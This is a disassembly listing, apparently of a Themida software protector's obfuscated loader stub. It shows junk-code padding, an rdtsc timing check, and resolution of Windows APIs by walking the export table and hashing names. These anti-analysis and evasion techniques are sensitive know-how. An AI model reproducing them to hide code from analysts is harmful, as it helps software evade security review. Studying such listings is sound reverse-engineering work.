		mov	edx, 7A867BC5h


loc_589F9F:				; CODE XREF: sub_589F6C+AEj
		push	dword ptr [ecx+ebx]
		movzx	edx, bx
		pop	edi
		jmp	loc_589FB0
; ---------------------------------------------------------------------------
		db 4Fh
		dd 7C637014h
; ---------------------------------------------------------------------------


loc_589FB0:				; CODE XREF: sub_589F6C+3Aj
		add	edi, 0CC4C01Fh
		stc
		xor	edi, 5999EED8h
		mov	edx, eax
		add	edi, 205D5D9Ch
		add	si, 876Dh


loc_589FCA:				; CODE XREF: Themida_:00589F61j
		push	edi
		mov	al, dh
		pop	dword ptr [ebx+ecx]
		clc
		jmp	loc_589FDB
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		pop	ebx
		mov	eax, ebx
		push	esi


loc_589FDB:				; CODE XREF: sub_589F6C+65j
		sub	ecx, 45A04991h
		mov	dl, cl
		add	ecx, 45A0498Dh
		movzx	esi, dx
		cmp	ecx, 0FFFF91D8h
		jnz	loc_58A018
		jo	loc_58A003
		mov	esi, 55222677h


loc_58A003:				; CODE XREF: sub_589F6C+8Cj
		jmp	loc_58A032
; ---------------------------------------------------------------------------
		dd 1C72A6Fh, 4865637h, 1D7B48F3h, 0ECBACA46h
; ---------------------------------------------------------------------------


loc_58A018:				; CODE XREF: sub_589F6C+86j
		mov	dl, 77h
		jmp	loc_589F9F
; ---------------------------------------------------------------------------
		db 0DBh
		dd 39D7B8ECh, 7147783Dh, 86E19FEAh, 0A5F8092Dh
		db 0CAh, 47h
; ---------------------------------------------------------------------------


loc_58A032:				; CODE XREF: sub_589F6C:loc_58A003j
		call	near ptr loc_58A042+1
		fnstenv	byte ptr [ebx-47h]
		rcl	byte ptr [eax-1A01E8F3h], cl
		cwde
		stosb


loc_58A042:				; CODE XREF: sub_589F6C:loc_58A032p
		test	eax, 0CE8h
sub_589F6C	endp ; sp-analysis failed

		add	[ecx-7927A6F4h], cl
		cmpsb
		cmp	bl, 0DBh
		mov	ebx, 66B2494Fh
		pop	edx
		pop	eax
		jp	loc_58A062
		mov	cx, 2FD4h


loc_58A062:				; CODE XREF: Themida_:0058A058j
		add	eax, 5C5Bh
		mov	cl, 82h
		push	0
		mov	esi, 37734774h
		pop	edi
		movsx	esi, cx


loc_58A078:				; CODE XREF: Themida_:0058A112j
		push	dword ptr [edi+eax]
		stc
		pop	ebx
		adc	esi, 4034480h
		add	ebx, 521A1A96h
		mov	cx, 4F58h
		xor	ebx, 5A362C17h
		pusha
		sub	dx, 12CCh
		call	sub_58A0A4
		fbld	tbyte ptr [edi+2F796EEBh]

; =============== S U B	R O U T	I N E =======================================



sub_58A0A4	proc near		; CODE XREF: Themida_:0058A099p
		add	esi, 57D0A8E8h
		pop	esi
		popa
		sub	ebx, 552C3F21h
		mov	edx, esi
		push	ebx
		jnp	loc_58A0C3
		jno	loc_58A0C3
		pusha
		popa


loc_58A0C3:				; CODE XREF: sub_58A0A4+11j
					; sub_58A0A4+17j
		pop	dword ptr [eax+edi]
		call	loc_58A0D0
		aad	64h
		cmpsd
		push	ss
		iret
sub_58A0A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58A0D0:				; CODE XREF: sub_58A0A4+22p
		pusha
		mov	di, 75DBh
		mov	esi, 11BDF22Dh
		popa
		pop	ecx
		pusha
		jg	loc_58A0E5
		mov	esi, edx


loc_58A0E5:				; CODE XREF: Themida_:0058A0DDj
		adc	ah, 0B7h
		popa
		sub	edi, 4
		push	edi
		push	ebx
		pop	esi
		pop	ecx
		cmp	edi, 0FFFFA48Ch
		jnz	loc_58A10D
		or	dh, 25h
		jmp	loc_58A122
; ---------------------------------------------------------------------------
		dd 1845A1Fh, 269DD856h
		db 7Fh
; ---------------------------------------------------------------------------


loc_58A10D:				; CODE XREF: Themida_:0058A0F6j
		xor	dx, 4E45h
		jmp	loc_58A078
; ---------------------------------------------------------------------------
		db 0CDh
		dd 1B464C47h, 0C9940CCEh
		db 9Bh,	0B9h
; ---------------------------------------------------------------------------


loc_58A122:				; CODE XREF: Themida_:0058A0FFj
		jmp	short loc_58A128
; ---------------------------------------------------------------------------
		dd 21Bh
; ---------------------------------------------------------------------------


loc_58A128:				; CODE XREF: Themida_:loc_58A122j
		jmp	loc_58A7BE
; ---------------------------------------------------------------------------
		jnb	loc_58A13F
		jno	loc_58A13F
		or	[ebp+7D11419h],	edi


loc_58A13F:				; CODE XREF: Themida_:0058A12Dj
					; Themida_:0058A133j
		pusha
		jmp	loc_58A153
; ---------------------------------------------------------------------------
		db 0EAh, 37h, 0F9h
		dd 78E96427h, 51DD6253h
; ---------------------------------------------------------------------------
		mov	word ptr [ebx+56h], ss


loc_58A153:				; CODE XREF: Themida_:0058A140j
		sub	eax, eax
		stc
		mov	edx, [esp+28h]
		mov	[ebp+7D1258Dh],	ebx
		mov	[ebp+7D12EA9h],	eax
		pusha
		mov	dx, cx
		mov	[ebp+7D12755h],	esi
		popa
		mov	esi, 3Ch
		jg	loc_58A194
		jmp	loc_58A194
; ---------------------------------------------------------------------------
		db 21h,	0ECh, 0DEh
		dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch
; ---------------------------------------------------------------------------


loc_58A194:				; CODE XREF: Themida_:0058A176j
					; Themida_:0058A17Cj
		add	esi, [esp+24h]
		js	loc_58A19F
		stc


loc_58A19F:				; CODE XREF: Themida_:0058A198j
		lodsw
		jle	loc_58A1AD
		xor	[ebp+7D125C9h],	ecx


loc_58A1AD:				; CODE XREF: Themida_:0058A1A1j
		add	eax, [esp+24h]
		mov	[ebp+7D13055h],	edx
		nop
		jmp	loc_58A1CA
; ---------------------------------------------------------------------------
		adc	al, 4Bh
		wait
		retn
; ---------------------------------------------------------------------------
		db 0A2h, 15h, 0E4h
		dd 0A88EC7D1h
		db 53h,	0D2h
; ---------------------------------------------------------------------------


loc_58A1CA:				; CODE XREF: Themida_:0058A1B8j
		push	eax
		push	eax
		push	edx
		pusha
		pusha
		popa
		jl	$+6
		popa
		rdtsc
		pusha
		mov	bl, 9Eh
		mov	dh, bl
		popa
		pop	edx
		pop	eax
		nop
		jmp	loc_58A1FB
; ---------------------------------------------------------------------------
		db 3Ch
		db 90h
		db 0F7h, 0D5h, 51h
		dd 157C1134h, 0FEA2A21Eh, 6709C2CAh
		db 5Dh,	0F3h, 33h
; ---------------------------------------------------------------------------


loc_58A1FB:				; CODE XREF: Themida_:0058A1E2j
		mov	eax, [eax+78h]
		jz	loc_58A20A
		mov	[ebp+7D12CC5h],	eax


loc_58A20A:				; CODE XREF: Themida_:0058A1FEj
		add	eax, [esp+28h]
		pusha
		mov	ebx, edi
		mov	ecx, [ebp+7D12E7Dh]
		popa
		mov	eax, [eax+18h]
		or	[ebp+7D12331h],	eax
		inc	eax
		jp	loc_58A22E
		pusha
		pusha
		popa
		mov	cl, 0A7h
		popa


loc_58A22E:				; CODE XREF: Themida_:0058A222j
		mov	[ebp+7D13AE6h],	eax
		jmp	loc_58A246
; ---------------------------------------------------------------------------
		db 0DEh, 94h, 0C3h
		dd 218D0BE5h, 0F06C85B1h
		db 0BDh, 0FBh
; ---------------------------------------------------------------------------


loc_58A246:				; CODE XREF: Themida_:0058A234j
		pop	eax
		pusha
		call	near ptr sub_58A256
		xor	eax, 9B1780B2h
		aas
		pmaddwd	mm2, mm5

; =============== S U B	R O U T	I N E =======================================



sub_58A256	proc far		; CODE XREF: Themida_:0058A248p

arg_40		= dword	ptr  48h

		mov	dx, 0EF45h
		pop	eax
		mov	bx, ax
		popa
		mov	esi, [eax+78h]
		mov	[ebp+7D1208Dh],	ebx
		add	esi, 1Ch
		pusha
		cmc
		movzx	edx, di
		popa
		add	[ebp+7D1322Dh],	ecx
		add	esi, [esp-24h+arg_40]
		clc
		lea	edi, [ebp+7D13105h]
		jmp	loc_58A28F
; ---------------------------------------------------------------------------
		db 0FBh
		dd 49D10E6Ch
		db 4Dh,	0CFh, 0D9h
; ---------------------------------------------------------------------------


loc_58A28F:				; CODE XREF: sub_58A256+2Cj
		lodsd
		pusha
		push	edi
		call	sub_58A2A0
		out	dx, eax
		retf	0D799h
sub_58A256	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 60h
		dd 3268F8D6h

; =============== S U B	R O U T	I N E =======================================



sub_58A2A0	proc near		; CODE XREF: sub_58A256+3Cp

arg_20		= dword	ptr  24h
arg_40		= dword	ptr  44h
arg_48		= dword	ptr  4Ch

		pop	eax
		pop	edx
		and	edx, [ebp+7D11815h]
		popa
		add	eax, [esp-28h+arg_48]
		mov	[ebp+7D11591h],	edx
		stosd
		clc
		lea	edi, [ebp+7D1151Dh]
		cmc
		lodsd
		jmp	loc_58A2D4
; ---------------------------------------------------------------------------
		dw 0D813h
		dd 0A5E1DC30h, 0AD4FDFE9h, 0AECF6CAAh, 92FEBAACh
; ---------------------------------------------------------------------------


loc_58A2D4:				; CODE XREF: sub_58A2A0+1Dj
		add	eax, [esp-28h+arg_48]
		pusha
		or	edi, 29FF4CCBh
		movzx	eax, cx
		popa
		push	eax
		jge	loc_58A2F0
		pusha
		mov	bl, 0A5h
		pusha
		popa
		popa


loc_58A2F0:				; CODE XREF: sub_58A2A0+44j
		mov	[esp-24h+arg_20], eax
		jmp	loc_58A309
; ---------------------------------------------------------------------------
		dd 99E57994h, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h
		db 0BAh
; ---------------------------------------------------------------------------


loc_58A309:				; CODE XREF: sub_58A2A0+53j
		stosd
		jl	loc_58A317
		jp	loc_58A317
		cld


loc_58A317:				; CODE XREF: sub_58A2A0+6Aj
					; sub_58A2A0+70j
		lea	edi, [ebp+7D110C1h]
		mov	[ebp+7D126B5h],	edi
		lodsd
		jnb	loc_58A330
		mov	[ebp+7D12485h],	ecx


loc_58A330:				; CODE XREF: sub_58A2A0+84j
		add	eax, [esp-24h+arg_48]
		jmp	loc_58A34A
; ---------------------------------------------------------------------------
		db 0FEh, 0FCh, 0Bh
		dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h
; ---------------------------------------------------------------------------
		push	edi
		pop	ebp


loc_58A34A:				; CODE XREF: sub_58A2A0+94j
		stosd
		jle	loc_58A361
		ja	loc_58A361
		jmp	loc_58A361
; ---------------------------------------------------------------------------
		dd 7628EDEDh
; ---------------------------------------------------------------------------
		popf


loc_58A361:				; CODE XREF: sub_58A2A0+ABj
					; sub_58A2A0+B1j ...
		pop	esi
		cld


loc_58A363:				; CODE XREF: sub_58A2A0+14Fj
		dec	dword ptr [ebp+7D13AE6h]
		cmp	dword ptr [ebp+7D13AE6h], 0
		jnz	short loc_58A382
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+7D13F92h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_58A382:				; CODE XREF: sub_58A2A0+D0j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7D131B5h]
		test	al, al
		jz	short loc_58A399
		cmp	al, [edi]
		jnz	short loc_58A3E5


loc_58A399:				; CODE XREF: sub_58A2A0+F3j
		push	edi
		xor	al, al


loc_58A39C:				; CODE XREF: sub_58A2A0+FDj
		scasb
		jnz	short loc_58A39C
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_58A3A9:				; CODE XREF: sub_58A2A0+132j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_58A3B8:				; CODE XREF: sub_58A2A0+12Bj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_58A3C9
		xor	ax, 5041h
		xor	bx, 5449h


loc_58A3C9:				; CODE XREF: sub_58A2A0+11Ej
		dec	dh
		jnz	short loc_58A3B8
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_58A3A9
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_58A3F4


loc_58A3E5:				; CODE XREF: sub_58A2A0+F7j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7D12EA9h]
		jmp	loc_58A363
; ---------------------------------------------------------------------------


loc_58A3F4:				; CODE XREF: sub_58A2A0+143j
		pop	esi
		clc
		pusha
		mov	[ebp+7D1086Dh],	edi
		mov	ebx, [ebp+7D13229h]
		popa
		mov	eax, [ebp+7D12EA9h]
		sub	[ebp+7D12469h],	edi
		shl	eax, 1
		clc
		jmp	loc_58A426
; ---------------------------------------------------------------------------
		dd 0EE7B63FDh, 880236BFh, 0C014DF08h
		db 0, 0C2h
; ---------------------------------------------------------------------------


loc_58A426:				; CODE XREF: sub_58A2A0+173j
		add	eax, [ebp+7D110C1h]
		mov	[ebp+7D128A9h],	ecx
		mov	esi, 0
		jge	loc_58A447
		pusha
		mov	esi, eax
		mov	[ebp+7D116D1h],	esi
		popa


loc_58A447:				; CODE XREF: sub_58A2A0+197j
		xchg	eax, esi
		mov	[ebp+7D12BB9h],	esi
		lodsw
		jmp	loc_58A45C
; ---------------------------------------------------------------------------
		db 2Ah,	0ECh, 19h
		dd 4B96D67h
; ---------------------------------------------------------------------------


loc_58A45C:				; CODE XREF: sub_58A2A0+1B0j
		shl	eax, 2
		sub	[ebp+7D10229h],	esi
		add	eax, [ebp+7D13105h]
		jmp	loc_58A47E
; ---------------------------------------------------------------------------
		dd 934F25h, 0EADE561Fh,	0BB74DA96h
		db 36h,	76h
; ---------------------------------------------------------------------------


loc_58A47E:				; CODE XREF: sub_58A2A0+1CBj
		mov	[ebp+7D12B91h],	ebx
		xchg	eax, esi
		clc
		lodsd
		jl	loc_58A4A6
		jmp	loc_58A4A6
; ---------------------------------------------------------------------------
		cmc
		cmc
		retn
; ---------------------------------------------------------------------------
		db 14h,	44h, 0F0h
		dd 71325AE5h, 8B8321EFh, 510AE5A0h
		db 83h,	0FBh
; ---------------------------------------------------------------------------


loc_58A4A6:				; CODE XREF: sub_58A2A0+1E7j
					; sub_58A2A0+1EDj
		mov	ecx, [esp+24h]
		mov	[ebp+7D116E5h],	esi
		xor	[ebp+7D12605h],	eax
		add	eax, [esp+24h]
		mov	[ebp+7D11BA5h],	ebx
		mov	[esp+1Ch], eax
		add	[ebp+7D12CF5h],	eax
		xchg	eax, esi
		jmp	loc_58A4DF
; ---------------------------------------------------------------------------
		inc	edi
		retn
; ---------------------------------------------------------------------------
		dw 98AEh
		dd 5A745B2Dh, 48FB14Bh
; ---------------------------------------------------------------------------
		push	65h
		wait


loc_58A4DF:				; CODE XREF: sub_58A2A0+22Bj
		lodsb
		jmp	loc_58A4F7
; ---------------------------------------------------------------------------
		db 0A4h, 0E6h, 0ADh
		dd 2A4BA5DBh, 6CA8614Bh, 0C11C42C5h
		db 0F0h, 0B8h, 9Bh
; ---------------------------------------------------------------------------


loc_58A4F7:				; CODE XREF: sub_58A2A0+240j
		xor	cl, cl
		jmp	loc_58A505
; ---------------------------------------------------------------------------
		aas
		cmp	al, 20h
		pop	edx
		das
		push	7Eh


loc_58A505:				; CODE XREF: sub_58A2A0+259j
		inc	cl
		pusha
		mov	[ebp+7D13125h],	ecx
		jnb	$+6
		popa


loc_58A515:				; CODE XREF: sub_58A2A0+2C2j
		rcl	al, 1
		jnb	loc_58A5D0
		jmp	loc_58A530
; ---------------------------------------------------------------------------
		dw 0C61Ch
		dd 732E6D9Ah, 0BA590E04h, 251AE799h
; ---------------------------------------------------------------------------


loc_58A530:				; CODE XREF: sub_58A2A0+27Dj
		rcl	al, 1
		jnb	loc_58A5D0
		jnb	loc_58A544
		mov	[ebp+7D118F1h],	ebx


loc_58A544:				; CODE XREF: sub_58A2A0+298j
		rcl	al, 1
		jb	loc_58A5D0
		xor	[ebp+7D11389h],	ecx
		rcl	al, 1
		jb	loc_58A5D0
		sub	[ebp+7D101FDh],	eax
		dec	cl
		jns	loc_58A515
		cld
		add	esp, 20h
		jbe	loc_58A578
		mov	[ebp+7D12EF5h],	edx


loc_58A578:				; CODE XREF: sub_58A2A0+2CCj
		mov	[esp-48h+arg_40], 0
		jnb	loc_58A597
		jmp	loc_58A597
; ---------------------------------------------------------------------------
		db 0C9h
		dd 5E9BD8B4h, 77A64747h
		db 4Ah,	63h, 9Eh
; ---------------------------------------------------------------------------


loc_58A597:				; CODE XREF: sub_58A2A0+2E0j
					; sub_58A2A0+2E6j
		jmp	loc_58A5AD
; ---------------------------------------------------------------------------
		dd 0E19872DAh, 71A91689h, 0AAF980B4h, 0BD436BF0h
		db 0DCh
; ---------------------------------------------------------------------------


loc_58A5AD:				; CODE XREF: sub_58A2A0:loc_58A597j
		mov	eax, 1
		mov	[ebp+7D10CA1h],	ecx
		lea	ecx, [ebp+7D170C4h]
		add	[ebp+7D119F9h],	ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_58A5D0
; ---------------------------------------------------------------------------
		db 2Ah
		dd 20E04872h
; ---------------------------------------------------------------------------


loc_58A5D0:				; CODE XREF: sub_58A2A0+277j
					; sub_58A2A0+292j ...
		mov	byte ptr [ebp+7D131B5h], 0
		pusha
		mov	dh, 0FFh
		call	near ptr loc_58A5E3+1
		xor	bl, bh
		push	ds
		inc	esp


loc_58A5E3:				; CODE XREF: sub_58A2A0+33Ap
		loop	near ptr dword_58A608
sub_58A2A0	endp ; sp-analysis failed

		mov	ch, 95h
		sub	eax, 615A07D1h
		popa
		cmc
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh,	86h, 6
		dd 60000000h, 0F88B66F9h, 8A0F5061h, 13h, 9E860h
dword_58A608	dd 0E3DD0000h, 0EC30C8C9h, 5B98A4BFh, 89615857h, 0BD292434h
					; CODE XREF: sub_58A2A0:loc_58A5E3j
		dd 7D12DF5h, 4162B589h,	89F907D1h, 0D141738Dh, 66F96007h
		dd 7B63EA81h, 47B58D61h, 2907D140h, 0D1028195h,	0A1858D07h
		dd 0E9005B8Eh, 0Fh, 0AA7CD00Ah,	44AE5785h, 435BD272h, 0FF5C56ADh
		dd 0F19501D0h, 5E07D12Eh, 19810Fh, 14E90000h, 3A000000h
		dd 840EC961h, 85E1BCF5h, 2CF424DCh, 1C18B909h, 0C35EF077h
		dd 62B58BF5h, 8907D141h, 0D133F99Dh, 738D8B07h,	0F907D141h
		dd 0B589C02Bh, 7D116F5h, 0E960D98Bh, 0Bh, 0A5CD0C5Dh, 6CA5A0Dh
		dd 515087D2h, 810Fh, 61580000h,	0B0E9h,	60606000h, 558D8B61h
		dd 6107D110h, 0DE9h, 0F799AA00h, 9006F814h, 0C0AAA951h
		dd 3261B746h, 12830F26h, 60000000h, 8E9h, 0A08D7800h, 8F7C2357h
		dd 0DBBF0F19h, 0F502B261h, 4CE9h, 0C880F00h, 0F000000h
		dd 687h, 8B0F00h, 32000000h, 7A05F8C2h,	898A751Dh, 0D108258Dh
		dd 0F5CC8A07h, 8F0FC8D3h, 6, 10D18509h,	423507D1h, 6098D108h
		dd 312D9501h, 852907D1h, 7D12E8Dh, 1CAFE61h, 0D105C5BDh
		dd 0FD20A07h, 0FFFFBE85h, 13E9FFh, 0CEA00000h, 0B4F00D8Bh
		dd 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 46F54B02h,	0FDB0BF9h
		dd 0FFFF6685h, 0C78A60FFh, 0D31328B9h, 0E9CF6110h, 0Ch
		dd 52E3D057h, 4B18DED4h, 0B1F2947Fh, 68A0Fh, 85310000h
		dd 7D11151h, 0F50000h, 6820F00h, 29000000h, 0D1027D95h
		dd 0F5000007h, 1820Fh, 0F90000h
		db 0, 0FCh
; ---------------------------------------------------------------------------


loc_58A7BE:				; CODE XREF: Themida_:loc_58A128j
		lea	eax, [ebp+7D13B01h]
		jmp	loc_58A7DC
; ---------------------------------------------------------------------------
		db 0DEh, 32h, 0CDh
; ---------------------------------------------------------------------------
		sti
		setalc
		icebp
		mov	ch, 0BFh
		imul	dword ptr [edx-6Ah]
		pop	edx
		inc	ebp
		fst	qword ptr ds:[ebp-22h]
		scasd
		lahf


loc_58A7DC:				; CODE XREF: Themida_:0058A7C4j
		mov	[ebp+7D130DDh],	eax
		jmp	loc_58A7F7
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0AFAF2E11h, 923AB6E6h, 3071EDCCh
		db 3Fh,	0Ah, 83h
; ---------------------------------------------------------------------------


loc_58A7F7:				; CODE XREF: Themida_:0058A7E2j
		lea	eax, [ebp+7D13FBFh]
		mov	[ebp+7D11875h],	ecx
		mov	[ebp+7D11741h],	eax
		jmp	short loc_58A81F
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E4000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_58A81F:				; CODE XREF: Themida_:0058A809j
		lea	eax, [ebp+7D14299h]
		mov	[ebp+7D11015h],	eax
		cmp	dword ptr [ebp+7D141D9h], 0
		jz	loc_58A964
		mov	byte ptr [ebp+7D131B5h], 56h
		push	0C12486EDh
		add	dword ptr [esp], 12FAE64Ch
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D141CDh],	eax
		mov	byte ptr [ebp+7D131B5h], 56h
		push	0FE207A7Fh
		xor	dword ptr [esp], 6288C22Dh
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D141D1h],	eax
		push	4
		call	near ptr sub_58A891
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_58A891	proc far		; CODE XREF: Themida_:0058A888p

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E2		= dword	ptr -0E2h
var_DE		= dword	ptr -0DEh
var_DA		= dword	ptr -0DAh
var_D6		= dword	ptr -0D6h
var_D2		= dword	ptr -0D2h
var_CE		= dword	ptr -0CEh
var_CA		= dword	ptr -0CAh
var_C6		= dword	ptr -0C6h
var_C2		= dword	ptr -0C2h
var_BE		= dword	ptr -0BEh
var_BA		= dword	ptr -0BAh
var_B6		= dword	ptr -0B6h
var_B2		= dword	ptr -0B2h
var_AE		= dword	ptr -0AEh
var_AA		= dword	ptr -0AAh
var_A6		= dword	ptr -0A6h
var_A2		= dword	ptr -0A2h
var_9E		= dword	ptr -9Eh
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= dword	ptr  12h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_22		= dword	ptr  2Ah
arg_26		= dword	ptr  2Eh
arg_48		= dword	ptr  50h
arg_4E		= dword	ptr  56h
arg_54		= dword	ptr  5Ch

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		mov	eax, [ebp+7D141DDh]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp+4+var_4], eax
		push	0
		call	dword ptr [ebp+7D141D1h]
		mov	[ebp+7D141D5h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7D11015h]
		mov	eax, ebx
		call	dword ptr [ebp+7D11015h]
		jmp	loc_58A964
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7D141D9h], 0
		jnz	loc_58A8E5
		retn
; ---------------------------------------------------------------------------


loc_58A8E5:				; CODE XREF: sub_58A891+4Dj
		push	edi
		mov	edi, [ebp+7D141D5h]
		stosd
		add	dword ptr [ebp+7D141D5h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7D141D9h], 0
		jnz	loc_58A904
		retn
; ---------------------------------------------------------------------------


loc_58A904:				; CODE XREF: sub_58A891+6Cj
		pusha
		sub	dword ptr [ebp+7D141D5h], 4


loc_58A90C:				; CODE XREF: sub_58A891:loc_58A95Fj
		mov	ebx, [ebp+7D141D5h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_58A939
		push	0AA7B700Ch
		add	[esp+2Ch+var_2C], 55850FF4h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7D141CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58A95F
; ---------------------------------------------------------------------------


loc_58A939:				; CODE XREF: sub_58A891+85j
		call	near ptr loc_58A93E+4


loc_58A93E:				; CODE XREF: sub_58A891:loc_58A939p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+22h+var_20+2], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7D141CDh]
		sub	dword ptr [ebp+7D141D5h], 4


loc_58A95F:				; CODE XREF: sub_58A891+A3j
		jmp	loc_58A90C
; ---------------------------------------------------------------------------


loc_58A964:				; CODE XREF: Themida_:0058A832j
					; sub_58A891+41j
		dec	eax
		jmp	loc_58B33D
; ---------------------------------------------------------------------------
		dw 8CA8h
		dd 3EDC17C6h, 500CB0DBh, 422EAD68h, 87A6A862h, 487CD614h
		dd 0E66B7E78h, 0B6C512E1h, 0AAF55F02h, 7CD71AC6h, 471EB8D7h
		dd 503FFE3Ah, 0CCA9ED65h, 420CB57Bh, 0E7766A72h, 0B6C540EDh
		dd 0A9FA5900h, 7CCD1AC6h, 5804A5C8h, 4E23E03Ah,	0C2BDFA7Eh
		dd 0E38D610h, 0F6766E65h, 0F8C412A0h, 0BFEE5915h, 33CB03C6h
		dd 580AA5C9h, 34h, 62h dup(0)
		dd 8CA80000h, 32D61EC6h, 4704A3C7h, 4C34FD3Ah, 8FA5FA76h
		dd 5D3DD051h, 0E7606937h, 0B7D640AFh, 0EDFF5819h, 32D70694h
		dd 150CB9C7h, 5A66E373h, 0C2B6FD7Eh, 5A2FC102h,	882B6672h
		dd 0BDDC30CCh, 0E1FE450Dh, 30D706C6h, 150FB6C1h, 4566F973h
		dd 0C2A9E763h, 4131DD1Ch, 0E3257265h, 0AA9004AFh, 0ACEF4509h
		dd 25990794h, 1519A2C1h, 4429FF6Ah, 0CCA9E963h,	48h dup(0)
		dd 8CA80000h, 3DCB10C6h, 470EBCCDh, 5766FE3Dh, 0C2A8E77Eh
		dd 0E2FD919h, 0EC606E75h, 0ADDF06E1h, 0BFBB5202h, 35D71D93h
		dd 5C4BB0C0h, 4C3FAD74h, 91E4FA64h, 4B28CB08h, 8F0F257Ah
		dd 0B9D50C91h, 0EDB7531Fh, 33D51D93h, 5C4BB3CFh, 5120AD6Eh
		dd 8FE4E57Eh, 5C33D514h, 0EC642B6Eh, 0BDC240A5h, 0BFFA421Fh
		dd 33C05392h, 454BA5DBh, 5121E268h, 0EAE570h, 61h dup(0)
		dd 8BA80000h, 7CDC1F8Fh, 4719B8CDh, 4632FD6Fh, 0C2EAA975h
		dd 5D35D025h, 0ED777B37h, 0B5D112A6h, 0BEFA5E4Ch, 39DC11C6h
		dd 5406F7C0h, 5636E474h, 87B0E97Dh, 403D9815h, 0E3682B73h
		dd 0D2D502B8h, 0EAEF5F61h, 32D05395h, 4108B2C8h, 4166E97Fh
		dd 0C2A5A868h, 5B2ED127h, 0F06A2B64h, 0B9C203E1h, 0A9FE5D0Fh
		dd 34ED53C8h, 534BA4C7h, 323E173h, 0C5AAE766h, 412B9805h
		dd 0E3256065h, 0B7DD19AFh, 0B5531Eh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_58B33D:				; CODE XREF: sub_58A891+D4j
		jmp	loc_58E022
; ---------------------------------------------------------------------------
		sub	edx, [ebp+7D11C5Dh]
		cld
		sub	[ebp+7D1087Dh],	ecx
		mov	eax, eax
		add	[ebp+7D10755h],	edi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_58B369
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_58B37C


loc_58B369:				; CODE XREF: sub_58A891+ACDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+7D3E052h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


